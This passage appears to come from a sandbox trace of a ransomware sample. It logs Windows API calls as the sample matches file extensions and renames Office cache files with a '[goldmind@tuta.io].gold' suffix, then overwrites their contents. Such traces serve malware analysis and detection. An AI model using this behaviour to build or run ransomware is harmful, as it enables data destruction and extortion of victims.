(lpString1=".7z", lpString2="cab") returned -1 [0041.832] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0041.832] lstrlenW (lpString=".dbf") returned 4 [0041.832] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0041.833] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0041.833] lstrlenW (lpString=".1cd") returned 4 [0041.833] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0041.833] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0041.833] lstrlenW (lpString=".jpg") returned 4 [0041.833] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0041.833] lstrcmpiW (lpString1=".msi", lpString2=".gold") returned 1 [0041.833] lstrlenW (lpString="OneNoteMUI.msi") returned 14 [0041.833] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0041.833] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x302ff1c | out: lpFileSize=0x302ff1c*=2503680) returned 1 [0041.833] CloseHandle (hObject=0x1a0) returned 1 [0041.833] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.msi")) returned 0x2020 [0041.833] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.msi.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0041.833] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.msi.id-9c354b42.[goldmind@tuta.io].gold")) returned 1 [0041.834] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.msi.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0041.834] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fc6c | out: lpNewFilePointer=0x0) returned 1 [0041.834] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fc2c | out: lpNewFilePointer=0x0) returned 1 [0041.834] ReadFile (in: hFile=0x1a0, lpBuffer=0x3b80058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x302fc38, lpOverlapped=0x0 | out: lpBuffer=0x3b80058*, lpNumberOfBytesRead=0x302fc38*=0x40000, lpOverlapped=0x0) returned 1 [0041.889] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0xcbc00, lpNewFilePointer=0x0, dwMoveMethod=0x302fc2c | out: lpNewFilePointer=0x0) returned 1 [0041.889] ReadFile (in: hFile=0x1a0, lpBuffer=0x3bc0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x302fc38, lpOverlapped=0x0 | out: lpBuffer=0x3bc0058*, lpNumberOfBytesRead=0x302fc38*=0x40000, lpOverlapped=0x0) returned 1 [0041.907] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x302fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0041.907] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x223400, lpNewFilePointer=0x0, dwMoveMethod=0x302fc2c | out: lpNewFilePointer=0x0) returned 1 [0041.907] ReadFile (in: hFile=0x1a0, lpBuffer=0x3c00058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x302fc38, lpOverlapped=0x0 | out: lpBuffer=0x3c00058*, lpNumberOfBytesRead=0x302fc38*=0x40000, lpOverlapped=0x0) returned 1 [0042.183] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.183] WriteFile (in: hFile=0x1a0, lpBuffer=0x3b80020*, nNumberOfBytesToWrite=0xc0108, lpNumberOfBytesWritten=0x302fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3b80020*, lpNumberOfBytesWritten=0x302fcb0*=0xc0108, lpOverlapped=0x0) returned 1 [0042.195] SetEndOfFile (hFile=0x1a0) returned 1 [0042.195] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x40000) returned 0x3f34090 [0042.197] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fc7c | out: lpNewFilePointer=0x0) returned 1 [0042.197] WriteFile (in: hFile=0x1a0, lpBuffer=0x3f34090*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x302fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f34090*, lpNumberOfBytesWritten=0x302fc88*=0x40000, lpOverlapped=0x0) returned 1 [0042.198] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0xcbc00, lpNewFilePointer=0x0, dwMoveMethod=0x302fc7c | out: lpNewFilePointer=0x0) returned 1 [0042.199] WriteFile (in: hFile=0x1a0, lpBuffer=0x3f34090*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x302fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f34090*, lpNumberOfBytesWritten=0x302fc88*=0x40000, lpOverlapped=0x0) returned 1 [0042.203] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x223400, lpNewFilePointer=0x0, dwMoveMethod=0x302fc7c | out: lpNewFilePointer=0x0) returned 1 [0042.203] WriteFile (in: hFile=0x1a0, lpBuffer=0x3f34090*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x302fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f34090*, lpNumberOfBytesWritten=0x302fc88*=0x40000, lpOverlapped=0x0) returned 1 [0042.206] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x3f34090 | out: hHeap=0x880000) returned 1 [0042.207] CloseHandle (hObject=0x1a0) returned 1 [0042.207] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x2020) returned 1 [0042.207] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0042.207] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0042.207] lstrlenW (lpString=".doc") returned 4 [0042.207] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0042.207] lstrlenW (lpString=".docx") returned 5 [0042.207] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0042.207] lstrlenW (lpString=".pdf") returned 4 [0042.207] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0042.207] lstrlenW (lpString=".xls") returned 4 [0042.207] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0042.207] lstrlenW (lpString=".xlsx") returned 5 [0042.207] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0042.207] lstrlenW (lpString=".ppt") returned 4 [0042.207] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0042.207] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0042.207] lstrlenW (lpString=".zip") returned 4 [0042.207] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0042.207] lstrlenW (lpString=".rar") returned 4 [0042.207] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0042.207] lstrlenW (lpString=".bz2") returned 4 [0042.207] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0042.207] lstrlenW (lpString=".7z") returned 3 [0042.207] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0042.207] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0042.207] lstrlenW (lpString=".dbf") returned 4 [0042.207] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0042.207] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0042.207] lstrlenW (lpString=".1cd") returned 4 [0042.207] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0042.208] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0042.208] lstrlenW (lpString=".jpg") returned 4 [0042.208] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0042.208] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0042.208] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0042.208] lstrlenW (lpString=".doc") returned 4 [0042.208] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0042.208] lstrlenW (lpString=".docx") returned 5 [0042.208] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0042.208] lstrlenW (lpString=".pdf") returned 4 [0042.208] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0042.208] lstrlenW (lpString=".xls") returned 4 [0042.208] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0042.208] lstrlenW (lpString=".xlsx") returned 5 [0042.208] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0042.208] lstrlenW (lpString=".ppt") returned 4 [0042.208] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0042.208] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0042.208] lstrlenW (lpString=".zip") returned 4 [0042.208] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0042.208] lstrlenW (lpString=".rar") returned 4 [0042.208] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0042.208] lstrlenW (lpString=".bz2") returned 4 [0042.208] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0042.208] lstrlenW (lpString=".7z") returned 3 [0042.208] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0042.208] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0042.208] lstrlenW (lpString=".dbf") returned 4 [0042.208] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0042.208] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0042.208] lstrlenW (lpString=".1cd") returned 4 [0042.208] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0042.208] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0042.208] lstrlenW (lpString=".jpg") returned 4 [0042.208] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0042.208] lstrcmpiW (lpString1=".cab", lpString2=".gold") returned -1 [0042.208] lstrlenW (lpString="GrooveLR.cab") returned 12 [0042.208] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovelr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0042.209] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x302ff1c | out: lpFileSize=0x302ff1c*=4095519) returned 1 [0042.209] CloseHandle (hObject=0x1a0) returned 1 [0042.209] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovelr.cab")) returned 0x2020 [0042.209] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovelr.cab.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0042.209] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovelr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovelr.cab.id-9c354b42.[goldmind@tuta.io].gold")) returned 1 [0042.209] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovelr.cab.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0042.209] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fc6c | out: lpNewFilePointer=0x0) returned 1 [0042.209] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fc2c | out: lpNewFilePointer=0x0) returned 1 [0042.209] ReadFile (in: hFile=0x1a0, lpBuffer=0x3b80058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x302fc38, lpOverlapped=0x0 | out: lpBuffer=0x3b80058*, lpNumberOfBytesRead=0x302fc38*=0x40000, lpOverlapped=0x0) returned 1 [0042.401] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x14d4b5, lpNewFilePointer=0x0, dwMoveMethod=0x302fc2c | out: lpNewFilePointer=0x0) returned 1 [0042.401] ReadFile (in: hFile=0x1a0, lpBuffer=0x3bc0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x302fc38, lpOverlapped=0x0 | out: lpBuffer=0x3bc0058*, lpNumberOfBytesRead=0x302fc38*=0x40000, lpOverlapped=0x0) returned 1 [0042.426] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x302fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0042.426] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x3a7e1f, lpNewFilePointer=0x0, dwMoveMethod=0x302fc2c | out: lpNewFilePointer=0x0) returned 1 [0042.426] ReadFile (in: hFile=0x1a0, lpBuffer=0x3c00058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x302fc38, lpOverlapped=0x0 | out: lpBuffer=0x3c00058*, lpNumberOfBytesRead=0x302fc38*=0x40000, lpOverlapped=0x0) returned 1 [0042.441] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.441] WriteFile (in: hFile=0x1a0, lpBuffer=0x3b80020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x302fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3b80020*, lpNumberOfBytesWritten=0x302fcb0*=0xc0104, lpOverlapped=0x0) returned 1 [0042.457] SetEndOfFile (hFile=0x1a0) returned 1 [0042.457] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x40000) returned 0x3fdc010 [0042.460] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fc7c | out: lpNewFilePointer=0x0) returned 1 [0042.460] WriteFile (in: hFile=0x1a0, lpBuffer=0x3fdc010*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x302fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fdc010*, lpNumberOfBytesWritten=0x302fc88*=0x40000, lpOverlapped=0x0) returned 1 [0042.461] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x14d4b5, lpNewFilePointer=0x0, dwMoveMethod=0x302fc7c | out: lpNewFilePointer=0x0) returned 1 [0042.461] WriteFile (in: hFile=0x1a0, lpBuffer=0x3fdc010*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x302fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fdc010*, lpNumberOfBytesWritten=0x302fc88*=0x40000, lpOverlapped=0x0) returned 1 [0042.462] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x3a7e1f, lpNewFilePointer=0x0, dwMoveMethod=0x302fc7c | out: lpNewFilePointer=0x0) returned 1 [0042.462] WriteFile (in: hFile=0x1a0, lpBuffer=0x3fdc010*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x302fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fdc010*, lpNumberOfBytesWritten=0x302fc88*=0x40000, lpOverlapped=0x0) returned 1 [0042.464] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x3fdc010 | out: hHeap=0x880000) returned 1 [0042.464] CloseHandle (hObject=0x1a0) returned 1 [0042.464] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x2020) returned 1 [0042.465] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0042.465] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0042.465] lstrlenW (lpString=".doc") returned 4 [0042.465] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0042.465] lstrlenW (lpString=".docx") returned 5 [0042.465] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0042.465] lstrlenW (lpString=".pdf") returned 4 [0042.465] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0042.465] lstrlenW (lpString=".xls") returned 4 [0042.465] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0042.465] lstrlenW (lpString=".xlsx") returned 5 [0042.465] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0042.465] lstrlenW (lpString=".ppt") returned 4 [0042.465] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0042.465] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0042.465] lstrlenW (lpString=".zip") returned 4 [0042.465] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0042.465] lstrlenW (lpString=".rar") returned 4 [0042.465] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0042.465] lstrlenW (lpString=".bz2") returned 4 [0042.465] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0042.465] lstrlenW (lpString=".7z") returned 3 [0042.465] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0042.465] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0042.465] lstrlenW (lpString=".dbf") returned 4 [0042.465] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0042.465] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0042.465] lstrlenW (lpString=".1cd") returned 4 [0042.465] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0042.465] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0042.465] lstrlenW (lpString=".jpg") returned 4 [0042.465] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0042.465] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0042.465] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0042.465] lstrlenW (lpString=".doc") returned 4 [0042.465] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0042.465] lstrlenW (lpString=".docx") returned 5 [0042.465] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0042.465] lstrlenW (lpString=".pdf") returned 4 [0042.465] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0042.465] lstrlenW (lpString=".xls") returned 4 [0042.465] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0042.466] lstrlenW (lpString=".xlsx") returned 5 [0042.466] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0042.466] lstrlenW (lpString=".ppt") returned 4 [0042.466] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0042.466] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0042.466] lstrlenW (lpString=".zip") returned 4 [0042.466] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0042.466] lstrlenW (lpString=".rar") returned 4 [0042.466] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0042.466] lstrlenW (lpString=".bz2") returned 4 [0042.466] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0042.466] lstrlenW (lpString=".7z") returned 3 [0042.466] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0042.466] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0042.466] lstrlenW (lpString=".dbf") returned 4 [0042.466] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0042.466] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0042.466] lstrlenW (lpString=".1cd") returned 4 [0042.466] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0042.466] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0042.466] lstrlenW (lpString=".jpg") returned 4 [0042.466] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0042.466] lstrcmpiW (lpString1=".dll", lpString2=".gold") returned -1 [0042.466] lstrlenW (lpString="dwintl20.dll") returned 12 [0042.466] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\1033\\dwintl20.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0042.469] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x302ff1c | out: lpFileSize=0x302ff1c*=107912) returned 1 [0042.469] CloseHandle (hObject=0x1a0) returned 1 [0042.469] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\1033\\dwintl20.dll")) returned 0x2020 [0042.469] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\1033\\dwintl20.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0042.469] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\1033\\dwintl20.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0042.469] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.469] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.469] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\1033\\dwintl20.dll.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0042.471] GetLastError () returned 0x0 [0042.471] ReadFile (in: hFile=0x1a0, lpBuffer=0x3b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b80020*, lpNumberOfBytesRead=0x302fed4*=0x1a588, lpOverlapped=0x0) returned 1 [0042.480] WriteFile (in: hFile=0x1b0, lpBuffer=0x3b80020*, nNumberOfBytesToWrite=0x1a590, lpNumberOfBytesWritten=0x302fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b80020*, lpNumberOfBytesWritten=0x302fc9c*=0x1a590, lpOverlapped=0x0) returned 1 [0042.484] ReadFile (in: hFile=0x1a0, lpBuffer=0x3b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b80020*, lpNumberOfBytesRead=0x302fed4*=0x0, lpOverlapped=0x0) returned 1 [0042.484] WriteFile (in: hFile=0x1b0, lpBuffer=0x3b80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x302fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b80020*, lpNumberOfBytesWritten=0x302fc9c*=0xec, lpOverlapped=0x0) returned 1 [0042.484] SetEndOfFile (hFile=0x1b0) returned 1 [0042.484] CloseHandle (hObject=0x1b0) returned 1 [0042.485] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.485] SetEndOfFile (hFile=0x1a0) returned 1 [0042.486] CloseHandle (hObject=0x1a0) returned 1 